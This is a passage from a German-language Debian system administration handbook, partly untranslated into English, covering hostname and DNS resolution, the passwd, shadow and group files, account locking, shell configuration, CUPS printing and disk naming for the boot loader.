Jeder Rechner wird jedoch durch einen offiziellen („kanonischen“) Namen identifiziert, der in der Datei /etc/hostname gespeichert ist und vom Linux-Kernel mit Hilfe von Initialisierungsskripten durch den Befehl hostname bekanntgegeben wird. Die aktuelle Einstellung ist in einem virtuellen Dateisystem verfügbar und kann mit dem Befehl cat /proc/sys/kernel/hostname abgerufen werden.

ZURÜCK ZU DEN GRUNDLAGEN /proc/ und /sys/, virtuelle Dateisysteme

Die Verzeichnisbäume /proc/ und /sys/ werden von „virtuellen“ Dateisystemen erzeugt. Dies ist ein praktisches Verfahren, um (durch das Auflisten virtueller Dateien) Informationen vom Kernel zu erhalten, oder sie (durch das Schreiben in virtuelle Dateien) an ihn zu übermitteln.

Insbesondere /sys/ ist dazu bestimmt, Zugang zu internen Kernelobjekten zu ermöglichen, vor allem solchen, die verschiedene Geräte des Systems darstellen. Der Kernel kann auf diese Weise verschiedene Arten von Informationen anzeigen: den Status jeden Geräts (ob es zum Beispiel im Energiesparmodus ist), ob es ein abnehmbares Gerät ist usw. Beachten Sie, dass es /sys/ erst seit der Kernelversion 2.6 gibt. /proc/ beschreibt den aktuellen Zustand des Kernels: Die Dateien in diesem Verzeichnis enthalten Informationen über die Prozesse, die auf dem System und seiner Hardware laufen.

Überraschenderweise wird der Domain-Name nicht in dieser Weise verwaltet, sondern ergibt sich aus dem vollständigen Namen des Rechners, der durch Namensauflösung erlangt wird. Sie können ihn in der Datei /etc/hosts ändern; schreiben Sie einfach einen vollständigen Namen für den Rechner an den Anfang der Liste von Namen, die der Adresse des Rechners zugeordnet sind, wie in dem folgenden Beispiel:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Namensauflösung

Das Verfahren zur Namensauflösung in Linux ist modular und kann verschiedene in der Datei /etc/nsswitch.conf aufgeführte Informationsquellen verwenden. Der Eintrag, der sich auf die Namensauflösung bezieht, ist hosts. Standardmäßig enthält es den Ausdruck files dns, der bedeutet, dass das System zunächst in der Datei /etc/hosts nachsieht und dann bei DNS-Servern. NIS/NIS+ und LDAP-Server sind weitere mögliche Quellen.

HINWEIS NSS und DNS

Beachten Sie, dass die Befehle, die eigens dafür gedacht sind, DNS abzufragen (insbesondere host), nicht das Standardverfahren zur Namensauflösung (NSS) verwenden. Dies hat zur Folge, dass sie /etc/nsswitch.conf nicht berücksichtigen und damit /etc/hosts auch nicht.

8.3.1.1. DNS-Server konfigurieren

DNS (Domain Name Service) ist ein verteilter und hierarchischer Dienst, der für Namen die dazugehörigen IP-Adressen ermittelt und umgekehrt. Insbesondere kann er einen menschengerechten Namen wie zum Beispiel www.eyrolles.com in die entsprechende IP-Adresse 213.244.11.247 umwandeln.

Um auf DNS-Informationen zugreifen zu können, muss ein DNS-Server zur Übertragung der Anfragen zur Verfügung stehen. Falcot Corp. hat seinen eigenen, aber ein einzelner Anwender wird eher die DNS-Server seines Internetanbieters nutzen.

The DNS servers to be used are indicated in /etc/resolv.conf, one per line, with the nameserver keyword preceding an IP address, as in the following example:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

Note that the /etc/resolv.conf file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP, or when resolvconf is installed or systemd-resolved(8) is enabled.

8.3.1.2. Die Datei /etc/hosts

Falls es im lokalen Netzwerk keinen Namensserver gibt, ist es möglich, stattdessen in der Datei /etc/hosts, die normalerweise für lokale Netzwerkrechner reserviert ist, eine kleine Tabelle zu erstellen, in der IP-Adressen und Hostnamen von Rechnern einander zugeordnet sind. Die Syntax dieser Datei, wie sie in hosts(5) beschrieben ist, ist sehr einfach: Jede Zeile enthält eine spezifische IP-Adresse gefolgt von der Liste der ihr zugeordneten Namen (von denen der erste „vollständig ausgewiesen“ (“completely qualified”) ist, das heißt, dass er den Domain-Namen enthält).

Diese Datei ist selbst bei Netzwerkausfällen verfügbar, oder wenn DNS-Server nicht erreichbar sind, ist aber nur dann wirklich nützlich, wenn sie auf alle Rechner des Netzwerks kopiert wurde. Bei der kleinsten Veränderung in den Zuordnungen muss die Datei überall aktualisiert werden. Deshalb enthält /etc/hosts gewöhnlich nur die wichtigsten Einträge.

Diese Datei reicht für ein kleines nicht mit dem Internet verbundenes Netzwerk aus; ab fünf Rechnern ist es aber empfehlenswert, einen richtigen DNS-Server einzurichten.

TIPP DNS umgehen

Da Anwendungen vor einer DNS-Anfrage zunächst in der Datei /etc/hosts nachsehen, kann man dort Informationen ablegen, die sich von dem unterscheiden, was der DNS ausgeben würde, und so die normale DNS-basierte Namensauflösung umgehen.

Hierdurch ist es möglich, im Falle von DNS-Änderungen, die noch nicht verbreitet sind, den Zugang zu einer Webseite mit dem vorgesehenen Namen zu testen, selbst wenn dieser Name der richtigen IP-Adresse noch nicht ordnungsgemäß zugeordnet ist.

Eine weitere Verwendungsmöglichkeit besteht darin, den für einen bestimmten Rechner gedachten Verkehr zum lokalen Computer (local host) umzuleiten und so jegliche Kommunikation mit dem betreffenden Rechner zu unterbinden. Beispielsweise können die Hostnamen von Servern, die für das Ausliefern von Werbeanzeigen zuständig sind, umgelenkt werden, und so diese Anzeigen zu umgehen, was zu einem flüssigeren und weniger störenden Navigieren führt.

8.4. Benutzer- und Gruppendatenbanken

Die Liste der Benutzer ist normalerweise in der Datei /etc/passwd gespeichert, während die Datei /etc/shadow gehashte Passwörter speichert. Beide sind Textdateien in einem recht einfachen Format, das mit einem Texteditor gelesen und geändert werden kann. Jeder Benutzer ist darin in einer Zeile mit mehreren durch einen Doppelpunkt („:“) getrennten Feldern aufgeführt.

HINWEIS Systemdateien editieren

Die in diesem Kapitel erwähnten Systemdateien sind alle reine Textdateien und können mit einem Texteditor editiert werden. Angesichts ihrer Bedeutung für die Funktionalität des Kernsystems empfiehlt es sich, bei ihrer Bearbeitung besondere Vorsicht walten zu lassen. Erstens sollten Sie eine Systemdatei immer kopieren oder sichern, bevor Sie sie öffnen oder verändern. Und zweitens sollten Sie auf Servern und auf Rechnern, bei denen möglicherweise zur gleichen Zeit mehr als eine Person auf dieselbe Datei zugreifen könnte, besondere Maßnahmen zum Schutz vor Dateibeschädigungen treffen.

Hierzu genügt es, den Befehl vipw zum Editieren der Datei /etc/passwd oder vigr zum Editieren der Datei /etc/group zu benutzen. Diese Befehle sperren die entsprechende Datei vor dem Start des Texteditors (standardmäßig vi, es sei denn, dass die Umgebungsvariable EDITOR verändert worden ist). Durch die Option -s ist es bei diesen Befehlen möglich, die entsprechende shadow-Datei zu editieren.

ZURÜCK ZU DEN GRUNDLAGEN Crypt, eine Einwegfunktion

crypt ist eine Einwegfunktion, die eine Zeichenkette (A) derart in eine andere Zeichenkette (B) umwandelt, dass A nicht von B abgeleitet werden kann. Der einzige Weg, A zu bestimmen, besteht darin, alle möglichen Werte auszuprobieren und jeden dahingehend zu überprüfen, ob seine Umwandlung durch diese Funktion B ergibt oder nicht. Sie verwendet als Eingabe 8 Zeichen (Zeichenkette A) und erzeugt eine Zeichenkette von 13 druckbaren ASCII-Zeichen (Zeichenkette B).

8.4.1. Benutzerliste: /etc/passwd

Hier ist die Liste der Felder in der Datei /etc/passwd:

login, zum Beispiel rhertzog;

password: this is a password encrypted by a one-way function (crypt), relying on DES, MD5, SHA-256 or SHA-512. The special value “x” indicates that the encrypted password is stored in /etc/shadow;

uid: eine eindeutige Zahl zur Identifizierung jeden Benutzers;

gid: eine eindeutige Zahl für die Hauptgruppe des Benutzers (Debian erstellt standardmäßig für jeden Benutzer eine besondere Gruppe);

GECOS: Datenfeld, das gewöhnlich den vollständigen Namen des Benutzers enthält;

Benutzerverzeichnis, das dem Benutzer zur Speicherung seiner persönlichen Dateien zugewiesen ist (die Umgebungsvariable $HOME verweist üblicherweise hierauf);

bei der Anmeldung auszuführendes Programm. Dies ist gewöhnlich ein Befehlszeileninterpreter (Shell), der dem Benutzer freie Hand lässt. Falls Sie hier /bin/false angeben (das nichts tut und die Steuerung gleich wieder zurück gibt), kann sich der Benutzer nicht anmelden.

As mentioned before, one can edit this file directly. But there are more elegant ways to apply changes, which are described in Abschnitt 8.4.3, „Ein bestehende Konto oder Passwort ändern“.

ZURÜCK ZU DEN GRUNDLAGEN Unix-Gruppen

Eine Unix-Gruppe ist eine Einheit, die mehrere Benutzer umfasst, so dass diese auf einfache Weise Dateien unter Verwendung des integrierten Berechtigungssystems gemeinsam benutzen können (wobei sie von den gleichen Berechtigungen profitieren). Man kann auch die Verwendung bestimmter Programme auf eine besondere Gruppe begrenzen.

8.4.2. Die versteckte und verschlüsselte Passwortdatei: /etc/shadow

Die Datei /etc/shadow enthält die folgenden Felder:

Anmeldung;

verschlüsseltes Passwort;

mehrere Felder zur Verwaltung des Verfalls der Passwörter.

One can expire passwords using this file or set the time until the account is disabled after the password has expired.

SICHERHEIT Dateisicherheit von /etc/shadow

Im Gegensatz zu ihrem Alter Ego /etc/passwd kann die Datei /etc/shadow nicht von normalen Benutzern gelesen werden. Jedes in /etc/passwd gespeicherte gehashte Passwort kann von jedem gelesen werden; ein Cracker könnte versuchen, durch eine von verschiedenen „Brute-Force-Methoden“, die einfach gesagt häufig verwendete Zeichenkombinationen raten, ein Passwort zu „knacken“ (oder aufzudecken). Diese - „Wörterbuchangriff“ genannte - Attacke ist auf Systemen, die /etc/shadow verwenden, nicht mehr möglich.

DOKUMENTATION Dateiformate von /etc/passwd, /etc/shadow und /etc/group

These formats are documented in the following man pages: passwd(5), shadow(5), and group(5).

8.4.3. Ein bestehende Konto oder Passwort ändern

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file (chpasswd allows administrators to update passwords for a list of users in batch mode); chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

Schließlich ermöglicht der Befehl chage (CHange AGE) es dem Administrator, die Passwort-Verfallseinstellungen zu ändern (mit der Option -l Benutzer werden die aktuellen Einstellungen aufgelistet). Man kann auch den Verfall eines Passworts mit dem Befehl passwd -e Benutzer erzwingen, wodurch der Benutzer bei der nächsten Anmeldung sein Passwort ändern muss.

Besides these tools the usermod command allows to modify all the details mentioned above.

8.4.4. Ein Konto sperren

You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user (lock). Re-enabling the account is done in similar fashion, with the -u option (unlock). This, however, only prevents password-based logins by the user. The user might still be able to access the system using an SSH key (if configured). To prevent even this possibility you have to expire the account as well using either chage -E 1user or usermod -e 1 user (giving a value of -1 in either of these commands will reset the expiration date to never). To (temporarily) disable all user accounts just create the file /etc/nologin.

You can disable a user account not only by locking it as described above, but also by changing its default login shell (chsh -s shell user). With the latter changed to /usr/sbin/nologin, a user gets a polite message informing that a login is not possible, while /bin/false just exits while returning false. There is no switch to restore the previous shell. You have to get and keep that information before you change the setting. These shells are often used for system users which do not require any login availability.

WEITERE SCHRITTE NSS und Systemdatenbanken

Anstatt die üblichen Dateien zur Verwaltung der Benutzer- und Gruppenlisten zu benutzen, könnten Sie andere Arten von Datenbanken verwenden, wie zum Beispiel LDAP oder db, indem sie ein passendes NSS-Modul (Name Service Switch) einsetzen. Die verwendeten Module werden in der Datei /etc/nsswitch.conf unter den Einträgen passwd, shadow und group aufgeführt. Siehe Abschnitt 11.7.3.1, „NSS konfigurieren“ für ein konkretes Beispiel zum Einsatz eines NSS-Moduls durch LDAP.

8.4.5. Gruppenliste: /etc/group

Gruppen sind in der Datei /etc/group aufgelistet, einer einfachen Textdatenbank in einem der Datei /etc/passwd ähnlichen Format mit folgenden Feldern:

Gruppenname;

Passwort (optional): Dies wird nur dann zum Beitritt zu einer Gruppe benutzt, wenn jemand dort normalerweise nicht Mitglied ist (mit den Befehlen newgrp oder sg, siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Mit mehreren Gruppen arbeiten);

gid: eindeutige Gruppenidentifikationsnummer;

Mitgliederliste: Liste mit den Namen der Benutzer, die Mitglieder der Gruppe sind, getrennt durch Kommata.

ZURÜCK ZU DEN GRUNDLAGEN Mit mehreren Gruppen arbeiten

Jeder Benutzer kann Mitglied zahlreicher Gruppen sein; von diesen ist eine seine „Hauptgruppe“. Die Hauptgruppe eines Benutzers wird standardmäßig während der ursprünglichen Benutzerkonfigurierung erstellt. Gemäß der Voreinstellung gehört jede Datei, die ein Benutzer erstellt, ihm selbst sowie auch seiner Hauptgruppe. Dies ist nicht immer wünschenswert; wenn zum Beispiel der Benutzer in einem Verzeichnis arbeiten muss, das von einer anderen Gruppe als seiner Hauptgruppe gemeinsam genutzt wird. In diesem Fall muss der Benutzer seine Hauptgruppe mit einem der folgenden Befehle wechseln: newgrp, der eine neue Shell startet, oder sg, der einfach einen Befehl unter Verwendung der angegebenen alternativen Gruppe ausführt. Diese Befehle ermöglichen es dem Benutzer also, einer Gruppe beizutreten, der er nicht angehört. Falls die Gruppe durch ein Passwort geschützt ist, muss er das richtige Passwort angeben, bevor der Befehl ausgeführt wird.

Stattdessen kann der Benutzer das setgid-Bit auf das Verzeichnis setzen, wodurch in diesem Verzeichnis erstellte Dateien automatisch zur richtigen Gruppe gehören. Zu weiteren Einzelheiten siehe SICHERHEIT setgid-Verzeichnis und Sticky-Bit in der Seitenleiste.

Der Befehl id zeigt den aktuellen Status eines Benutzers an mit seiner persönlichen Kennung (Variable uid), der aktuellen Hauptgruppe (Variable gid) und der Liste der Gruppen, zu denen er gehört (Variable groups).

Die Befehle groupadd und groupdel fügen eine Gruppe hinzu beziehungsweise löschen sie. Der Befehl groupmod ändert die Informationen über eine Gruppe (sein gid, das heißt seine Kennung). Der Befehl gpasswd Gruppe ändert das Passwort der Gruppe, während der Befehl gpasswd -r Gruppe es löscht.

TIPP getent

Der Befehl getent (get entries) überprüft die Systemdatenbanken auf dem normalen Weg unter Verwendung der passenden Bibliotheksfunktionen, die ihrerseits die in der Datei /etc/nsswitch.conf konfigurierten NSS-Module aufrufen. Der Befehl nimmt ein oder zwei Argumente an: den Namen der zu überprüfenden Datenbank und möglicherweise einen Suchbegriff. So zeigt der Befehl getent passwd rhertzog Informationen aus der Benutzerdatenbank über den Benutzer rhertzog an.

8.5. Konten erstellen

Eine der ersten Aktionen, die ein Administrator zu erledigen hat, wenn er einen neuen Rechner einrichtet, ist das Erstellen von Benutzerkonten. Dies geschieht normalerweise mit dem Befehl adduser, der einen Benutzernamen für den neu zu erstellenden Benutzer als Argument annimmt.

Der Befehl adduser stellt einige Fragen, bevor er ein Konto erstellt, aber seine Benutzung ist ziemlich unkompliziert. Seine Konfigurationsdatei /etc/adduser.conf enthält alle relevanten Einstellungen: sie kann dazu verwendet werden, durch das Erstellen von Benutzervorlagen automatisch eine Quota für jeden neuen Benutzer zu setzen oder den Ort des Benutzerkontos zu ändern; letzteres wird selten gebraucht, erweist sich aber als nützlich, wenn man eine große Zahl von Benutzern hat und zum Beispiel ihre Konten über mehrere Platten aufteilen will. Man kann hiermit auch eine andere Standardshell auswählen.

ZURÜCK ZU DEN GRUNDLAGEN Quota

Der Begriff „Quota“ bezeichnet die Begrenzung der Rechnerressourcen, die ein Benutzer verwenden darf. Es bezieht sich häufig auf den Festplattenplatz.

Bei der Erstellung eines Kontos wird das Home-Verzeichnis des Benutzers mit dem Inhalt der Vorlage /etc/skel/ befüllt. Hierdurch wird dem Benutzer ein Satz von Standardverzeichnissen und Konfigurationsdateien zur Verfügung gestellt.

Manchmal ist es nützlich, einen Benutzer einer Gruppe hinzuzufügen (einer anderen als seiner voreingestellten „Hauptgruppe“), um ihm zusätzliche Berechtigungen zu gewähren. So kann zum Beispiel ein Benutzer, der Mitglied der audio-Gruppe ist, auf Audiogeräte zugreifen (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte). Dies kann durch einen Befehl wie adduser Benutzer Gruppe erreicht werden.

ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte

Bei Unix wird jedes Hardware-Peripheriegerät durch eine besondere Datei dargestellt, die gewöhnlich im Verzeichnisbaum unter /dev/ (DEVices) gespeichert ist. Es gibt in Abhängigkeit von der Art des Gerätes zwei besondere Dateien: Dateien des „Zeichenmodus“ und des „Blockmodus“, von denen jede nur eine begrenzte Anzahl von Operationen ermöglicht. Während der Zeichenmodus die Interaktion mit Lese-/Schreiboperationen beschränkt, ermöglicht der Blockmodus auch die Suche innerhalb der verfügbaren Daten. Jede spezielle Datei ist schließlich zwei Zahlen zugeordnet (einer „Haupt“- und einer „Nebenzahl“), die das Gerät für den Kernel in eindeutiger Weise bezeichnen. Eine derartige Datei, die mit dem Befehl mknod erstellt wird, enthält einfach nur einen symbolischen (und menschenfreundlicheren) Namen.

Die Berechtigungen einer besonderen Datei bilden die für den Zugriff auf das Gerät selbst erforderlichen Berechtigungen ab. So hat eine Datei wie zum Beispiel /dev/mixer, die den Audiomixer darstellt, nur Lese-/Schreibberechtigungen für den Root-Benutzer und für Mitglieder der audio-Gruppe. Nur diese Benutzer können den Audiomixer bedienen.

Es sei darauf hingewiesen, dass durch die Kombination von udev und policykit zusätzliche Berechtigungen vergeben werden können, die es Benutzern, die physisch (und nicht über das Netzwerk) mit dem Terminal verbunden sind, ermöglicht, auf bestimmte Geräte zuzugreifen.

8.6. Shell-Umgebung

Befehlsinterpreter (oder Shells) könen für einen Benutzer der erste Berührungspunkt mit einem Computer sein und sie müssen daher recht bedienerfreundlich sein. Die meisten verwenden Initialisierungsskripten, mit denen ihr Verhalten konfiguriert werden kann (Autovervollständigung, Text an der Eingabeaufforderung usw.).

bash, die Standardshell, verwendet das Initialisierungsskript /etc/bash.bashrc für „interaktive“ Shells und /etc/profile für „Anmelde“-Shells.

Einfach ausgedrückt wird eine Anmeldeshell aufgerufen, wenn Sie sich entweder lokal oder entfernt via ssh an der Konsole anmelden oder durch einen expliziten Befehl bash --login. Unabhängig davon, ob es sich um eine Anmeldeshell handelt oder nicht, kann eine Shell interaktiv sein (zum Beispiel in einem Terminal des Typs xterm) oder nicht interaktiv (wenn ein Skript ausgeführt wird).

ENTDECKUNG Andere Shells, andere Skripten

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses the files in /etc/zsh/; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

For bash, it is useful to install and activate “automatic completion”. The package bash-completion contains these completions for most common programs and is usually enabled if the user's .bashrc configuration file was copied from /etc/skel/.bashrc. Otherwise it can be enabled via /etc/bash.bashrc (simply uncomment a few lines) or /etc/profile.

ZURÜCK ZU DEN GRUNDLAGEN Automatische Vervollständigung

Viele Befehlsinterpreter verfügen über eine Vervollständigungsfunktion, durch die die Shell einen teilweise eingegebenen Befehl oder ein Argument automatisch vervollständigen kann, indem der Benutzer die Tab-Taste drückt. So können Benutzer effizienter arbeiten und sind weniger fehleranfällig.

Diese Funktion ist sehr mächtig und flexibel. Man kann ihr Verhalten in Abhängigkeit von jedem Befehl konfigurieren. So wird das erste Argument, das auf apt folgt, in Abhängigkeit von der Syntax dieses Befehls vorgeschlagen, selbst wenn es mit keiner Datei übereinstimmt (in diesem Fall sind die Auswahlmöglichkeiten: install, remove, upgrade, usw.).

ZURÜCK ZU DEN GRUNDLAGEN Die Tilde, eine Abkürzung für HOME

Die Tilde wird häufig zur Bezeichnung des Verzeichnisses verwendet, auf das die Umgebungsvariable HOME verweist (das Home-Verzeichnis des Benutzers, wie zum Beispiel /home/rhertzog/). Befehlsinterpreter ersetzen sie selbstständig: ~/hello.txt wird zu /home/rhertzog/hello.txt.

Die Tilde ermöglicht auch den Zugriff auf das Home-Verzeichnis eines anderen Benutzers. So ist ~rmas/bonjour.txt gleichbedeutend mit /home/rmas/bonjour.txt.

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

ZURÜCK ZU DEN GRUNDLAGEN Umgebungsvariablen

Umgebungsvariablen ermöglichen es, globale Einstellungen für die Shell oder verschiedene andere aufgerufene Programme zu speichern. Sie sind zusammenhangsbezogen (jeder Prozess hat seinen eigenen Satz an Umgebungsvariablen) aber auch vererbbar. Letzteres eröffnet die Möglichkeit, für eine Anmeldeshell Variablen zu erklären, die an alle Programme, die sie ausführt, weitergegeben werden.

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

TIPP Alle Shells identisch konfiguriert

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. Druckereinrichtung

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

GEMEINSCHAFT CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

Als ein von cups-daemon empfohlenes Paket werden cups-browsed auf dem System und in vernetzten Druckwarteschlangen vorhanden sein und moderne Drucker können automatisch aus ihren DNS-SD-Broadcasts erkannt und eingerichtet werden (Bonjour). USB-Drucker müssen, wie im nächsten Absatz beschrieben, manuell eingerichtet werden.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. Den Boot-Loader konfigurieren

Er funktioniert wahrscheinlich schon, aber trotzdem ist es immer empfehlenswert zu wissen, wie der Boot-Loader konfiguriert und installiert wird für den Fall, dass er aus dem Master Boot Record verschwindet. Dies kann nach der Installierung eines anderen Betriebssystems, wie zum Beispiel Windows, passieren. Die folgenden Informationen können auch dabei helfen, die Konfiguration des Boot-Loaders, falls nötig, zu verändern.

ZURÜCK ZU DEN GRUNDLAGEN Master Boot Record

Der Master Boot Record (MBR) belegt die ersten 512 Bytes der ersten Festplatte und ist die erste Sache, die vom BIOS geladen wird, um die Kontrolle an ein Programm zu übergeben, das in der Lage ist, das gewünschte Betriebssystem hochzufahren. Im allgemeinen wird der Boot-Loader in den MBR installiert und damit sein bisheriger Inhalt überschrieben.

8.8.1. Die Festplatten kennzeichnen

KULTUR udev und /dev/

Traditionell enthält das Verzeichnis /dev/ sogenannte „spezielle“ (Geräte-)Dateien, die dazu dienten, Peripheriegeräte des Systems zu darzustellen (siehe ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte in der Seitenleiste). Früher enthielt es alle möglicherweise benötigten Gerätedateien. Dieser Ansatz hat eine ganze Reihe von Nachteilen, wobei die Tatsache, dass die Anzahl der Geräte, die man nutzen konnte, (aufgrund der hart verdrahteten Namen in der Liste) beschränkt war und weil man nicht wissen konnte, welche Gerätedateien gebraucht würden.

Heute ist die Verwaltung der Gerätedateien vollständig dynamisch und passt besser zur "Hot-Swap"-Eigenschaft von Peripheriegeräten. Der Kernel kooperiert mit udev (Abschnitt 9.11.3, „Wie udev funktioniert“), um sie zu erzeugen und zu entfernen, wenn die jeweiligen Geräte angeschlossen oder entfernt werden. Aus diesem Grund muss /dev/ nicht persistent (dauerhaft) sein und ist deshalb ein anfänglich leeres RAM-Dateisystem, das nur die benötigten Elemente enthält.

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

Mit dynamisch zugewiesenen Namen kann man den selben Namen für ein bestimmtes Gerät beibehalten, egal welcher Anschluss in welcher Reihenfolge verwendet wird, was gerade bei Verwendung verschiedener USB-Geräte besonders hilfreich ist. Die erste Partition auf der ersten Festplatte kann dann /dev/sda1 benannt werden, um rückwärts kompatibel zu sein, oder /dev/root-partition wenn gewünscht oder gar beides zur selben Zeit, da udevd so konfiguriert werden kann, dass eine symbolische Verknüpfung angelegt wird.

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

Die Konfiguration des Bootloaders muss die verschiedenen Festplatten und deren Partitionen identifizieren. Linux verwendet dazu die speziellen "Block"-Dateien, die im Verzeichnis /dev/ gespeichert sind. Seit Debian Squeeze wurde das Namensschema für Festplatten durch den Linux-Kernel vereinheitlicht, und alle Festplatten (IDE/PATA, SATA, SCSI, USB, IEEE 1394) werden nun durch /dev/sd* repräsentiert.

Jede Partition wird durch ihre Nummer auf der Platte, auf der sie liegt, dargestellt: so ist zum Beispiel /dev/sda1 die erste Partition auf der ersten Platte, und /dev/sdb3 ist die dritte Partition auf der zweiten Platte.

Die PC-Architektur (oder „i386“ und seine jüngere Kusine) war lange Zeit auf die Verwendung des "MS-DOS"-Partitionstabellenformats beschränkt, das nur vier „primäre“ Partitionen je Platte erlaubt. Um über diese Begrenzung hinauszugehen, muss eine von ihnen als „erweiterte“ Partition erstellt werden, die dann weitere „sekundäre“ Partitionen enthalten kann. Diese sekundären Partitionen werden von 5 aufwärts nummeriert werden. So könnte die erste sekundäre Partition /dev/sda5 sein, gefolgt von /dev/sda6 usw.

Eine weitere Einschränkung des MS-DOS-Partitionstabellenformats ist, dass es nur Festplatten bis zu einer Größe von 2 TiB zulässt, was bei aktuellen Festplatten zu einem echten Problem wird.

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

QUICK LOOK The Globally Unique Identifier (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see NOTIZ UEFI, ein moderner BIOS-Ersatz). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id/. On a machine with two physical disks, for example, one could find the following:

